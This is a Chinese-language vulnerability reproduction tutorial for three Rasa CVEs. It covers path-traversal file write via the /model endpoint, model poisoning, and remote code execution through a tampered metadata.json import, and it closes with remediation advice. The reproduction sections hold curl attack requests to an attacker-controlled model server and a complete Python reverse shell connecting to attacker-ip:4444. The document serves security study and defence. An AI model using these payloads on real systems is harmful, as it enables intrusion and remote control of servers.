Rasa漏洞复现分析(CVE-2021-42556,CVE-2021-41127,CVE-2024-49375)
字数 3584
更新时间 2026-07-12 00:47:23

Rasa 漏洞复现与分析教学文档(CVE-2021-42556、CVE-2021-41127、CVE-2024-49375)

本文档基于对 Rasa 3.6.21 版本的漏洞分析,详细阐述三个高危漏洞的原理、审计过程及复现方法。


第一章:Rasa 环境搭建

1.1 基础环境准备

使用 Python 3.10.x,推荐通过 uv 管理虚拟环境:

# 创建虚拟环境
uv venv --python=3.10.20 .venv

# 激活虚拟环境
.venv\Scripts\activate

# 安装指定版本 Rasa
uv pip install "rasa==3.6.21"

# 初始化一个模型
rasa init

# 修改规则后重新训练模型
rasa train

# 启动 CLI 对话
rasa shell

# 启动 Web API 服务(开启 API 并允许跨域)
rasa run --port 5005 --cors "*" --enable-api

1.2 Docker 部署(用于漏洞复现)

编写 docker-compose.yml

name: rasa-enable-api
services:
  rasa:
    image: rasa/rasa:3.6.21-full
    ports:
      - "5005:5005"
    volumes:
      - "./rasa-app-data/:/app/"
    command:
      - run
      - --enable-api
      - --cors
      - "*"
      - -i
      - "0.0.0.0"
      - -p
      - "5005"

注意事项:需要在 rasa-app-data/ 下的 model 目录中放置一个 .tar.gz 模型文件,否则 Docker 容器启动会失败。

1.3 Rasa 核心架构简介

Rasa 是基于规则 + 机器学习(NLU + Core)的对话系统架构:

  • Rasa 主服务:负责自然语言理解(NLU)和对话管理(Dialogue Management),提供 HTTP API 接口(如 /webhooks/rest/webhook
  • Action Server:运行自定义 Action(Python 函数),处理业务逻辑
  • Duckling 服务:识别时间、数字、金额等结构化实体

第二章:CVE-2021-42556 — 任意文件写入漏洞

2.1 漏洞描述

攻击者可通过向 /model 路由发送特制的 POST 请求,利用模型加载过程中的文件名处理缺陷,将任意文件写入服务器的可写目录。

2.2 代码审计

2.2.1 入口分析

路由定义在 rasa/server.py,PUT 方法映射到 /model

model_path = request.json.get("model_file", None)
model_server = request.json.get("model_server", None)
remote_storage = request.json.get("remote_storage", None)

其中 model_server 是攻击者可控的参数。

2.2.2 调用链追踪

PUT /model
  → _load_agent()
    → rasa.core.agent.load_agent()
      → load_from_server()
        → _pull_model_and_fingerprint()

2.2.3 关键代码 — 文件保存逻辑

_pull_model_and_fingerprint() 函数中:

model_path = Path(model_directory) / resp.headers.get(
    "filename", "model.tar.gz"
)
with open(model_path, "wb") as file:
    file.write(await resp.read())

漏洞点:文件名直接从响应头的 filename 字段获取,未做任何过滤或路径校验。攻击者可构造 filename: ../../test.py 实现目录穿越,将文件写入任意可写目录。

2.3 复现步骤

2.3.1 搭建恶意服务端

编写恶意服务端脚本 server-1.py,该服务返回包含恶意文件名的响应头:

# server-1.py 核心逻辑
# 响应头设置 filename: ../../test.py
# 响应体为攻击者想要写入的文件内容

2.3.2 发送攻击请求

curl -X PUT http://target:5005/model \
  -H "Content-Type: application/json" \
  -d '{
    "model_server": {
      "url": "http://attacker-server:port",
      "wait_time_between_pulls": 1
    }
  }'

2.3.3 验证结果

在 Docker 容器内部查看,test.py 已被成功写入目标目录。

2.4 后续模型加载逻辑(为后续漏洞铺垫)

即使写入文件后返回 400 错误码,文件依然被成功写入。正常流程中,模型文件会被解压到临时目录并加载到 Agent:

  1. _pull_model_and_fingerprint() 返回 ETag
  2. _update_model_from_server() 调用 _load_and_set_updated_model()
  3. load_model() 创建 MessageProcessor
  4. _load_model() 解压 .tar.gz 到临时目录,加载模型

第三章:CVE-2021-41127 — 恶意模型投毒漏洞

3.1 漏洞描述

Rasa 在加载模型时未对模型内容进行安全校验。攻击者可上传包含恶意对话规则的模型,实现对对话行为的完全控制。

3.2 漏洞原理

Rasa 的训练模型包含意图(intents)、响应(responses)和规则(rules)。攻击者可以构造恶意规则,使模型在收到特定输入时返回任意自定义内容。

3.3 复现步骤

3.3.1 构造恶意训练数据

创建 config.ymldomain.ymlnlu.ymlrules.yml 等文件,包含恶意规则:

# domain.yml
version: "3.1"
intents:
  - greet
responses:
  utter_greet:
    - text: "PWNED_BY_CTF"

# nlu.yml
nlu:
  - intent: greet
    examples: |
      - hello
      - hi      

# rules.yml
rules:
  - rule: greet rule
    steps:
      - intent: greet
      - action: utter_greet

3.3.2 训练恶意模型

rasa init
# 替换生成的训练文件为上述恶意内容
rasa train
# 在 models/ 目录下生成恶意 .tar.gz 模型文件

3.3.3 上传恶意模型

使用与 CVE-2021-42556 相同的方式上传模型:

curl -X PUT http://target:5005/model \
  -H "Content-Type: application/json" \
  -d '{
    "model_server": {
      "url": "http://attacker-server:port/malicious-model.tar.gz",
      "wait_time_between_pulls": 1
    }
  }'

返回 204 No Content 表示成功。

3.3.4 验证效果

访问对话接口,输入 hello,模型应返回 PWNED_BY_CTF

curl -X POST http://target:5005/webhooks/rest/webhook \
  -H "Content-Type: application/json" \
  -d '{"sender": "test", "message": "hello"}'

第四章:CVE-2024-49375 — 远程代码执行漏洞(RCE)

4.1 漏洞描述

该漏洞结合了任意文件写入和 Python 模块导入机制,攻击者通过篡改模型中的 metadata.json,在模型加载时触发恶意 Python 代码的执行。

4.2 模型加载逻辑深度分析

4.2.1 加载入口

MessageProcessor._load_model() 调用 loader.load_predict_graph_runner()

loader.load_predict_graph_runner(
    Path(temporary_directory),   # 解包后组件存储目录
    Path(model_tar),             # 上传的模型 tar.gz
    LocalModelStorage,           # 负责从 tar 初始化模型存储
    DaskGraphRunner              # 根据 predict_schema 创建可执行预测图
)

4.2.2 解压与元数据读取

LocalModelStorage.from_model_archive() 调用 _extract_archive_to_directory() 解压 tar 包到临时目录,然后读取 metadata.json

metadata = cls._load_metadata(temporary_directory_path)

_load_metadata() 的实现:

@staticmethod
def _load_metadata(directory: Path) -> Dict:
    metadata_path = directory / "metadata.json"
    with open(metadata_path, "r") as f:
        return json.load(f)

4.2.3 GraphSchema 反序列化

ModelMetadata.from_dict() 调用 GraphSchema.from_dict() 处理模型内的图结构数据。最终调用 importlib.import_module() 动态导入模块:

if "." in module_path:
    module_name, _, class_name = module_path.rpartition(".")
    m = importlib.import_module(module_name)

例如,若 module_path = "pwnmod.Pwn",则相当于执行 import pwnmod

4.3 PyPI 供应链攻击原理

Python 的 import 语句在导入模块时会执行模块顶层的所有代码,包括:

  • 模块顶层语句(如 print、函数定义)
  • 类定义语句本身(类体中的代码)

示例:

# pwnmod.py
print("module imported")

def f():
    print("f called")

class Pwn:
    print("class body running")
    
    @classmethod
    def load(cls):
        print("load called")

import pwnmod 执行时,print("module imported")print("class body running") 都会立即执行。

4.4 完整利用链

  1. 利用 CVE-2021-42556 写入恶意 Python 模块文件(如 pwnmod.py
  2. 构造篡改后的模型 tar 包,修改 metadata.json 中的 module_path 指向恶意模块
  3. 上传恶意模型
  4. 模型加载时触发 import 执行恶意代码

4.5 复现步骤

4.5.1 编写恶意模块

创建 pwnmod.py,包含反弹 Shell 或其他恶意操作:

import os
import socket
import subprocess

# 反弹 Shell 代码
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("attacker-ip", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])

4.5.2 篡改模型文件

编写脚本修改正常模型的 metadata.json,将某个组件的 module_path 改为 pwnmod.Pwn

4.5.3 启动监听服务

攻击机启动 reverse_server.py,用于接收反弹连接。

4.5.4 写入恶意模块

使用 CVE-2021-42556 的方法将 pwnmod.py 写入 Rasa 服务器的 Python 可导入路径。

4.5.5 上传篡改模型

上传包含恶意 metadata.json 的模型 tar 包。

4.5.6 触发代码执行

向 Rasa 发送对话请求,触发模型加载,恶意代码被执行,攻击机收到反弹 Shell。


第五章:漏洞总结与修复建议

5.1 漏洞关系总结

漏洞编号 漏洞类型 利用前提 危害等级
CVE-2021-42556 任意文件写入 需要网络可达
CVE-2021-41127 模型投毒 需配合文件写入
CVE-2024-49375 远程代码执行 需配合文件写入 严重

这三个漏洞可以串联利用:CVE-2021-42556 作为入口写入恶意文件,CVE-2024-49375 实现 RCE,CVE-2021-41127 实现对话劫持。

5.2 修复建议

  1. 文件名过滤:对 filename 响应头进行路径合法性校验,禁止包含 .. 等特殊字符
  2. 模型签名验证:对加载的模型进行数字签名验证,确保来源可信
  3. 沙箱执行:在隔离环境中加载模型,限制文件系统和网络访问
  4. 最小权限原则:Rasa 服务应以低权限用户运行
  5. 输入验证:对所有用户可控的配置参数进行严格校验

5.3 影响范围

受影响版本:Rasa 3.x 系列(截至 3.6.21 仍未修复)


附录:EXP 资源

完整的利用脚本集合(包含三个 CVE 的 PoC)可参考开源项目:

  • 项目名称:Rasa-cve-exp
  • 包含:CVE-2024-49375、CVE-2021-42556、CVE-2021-41127 的完整利用代码
相似文章
相似文章
 全屏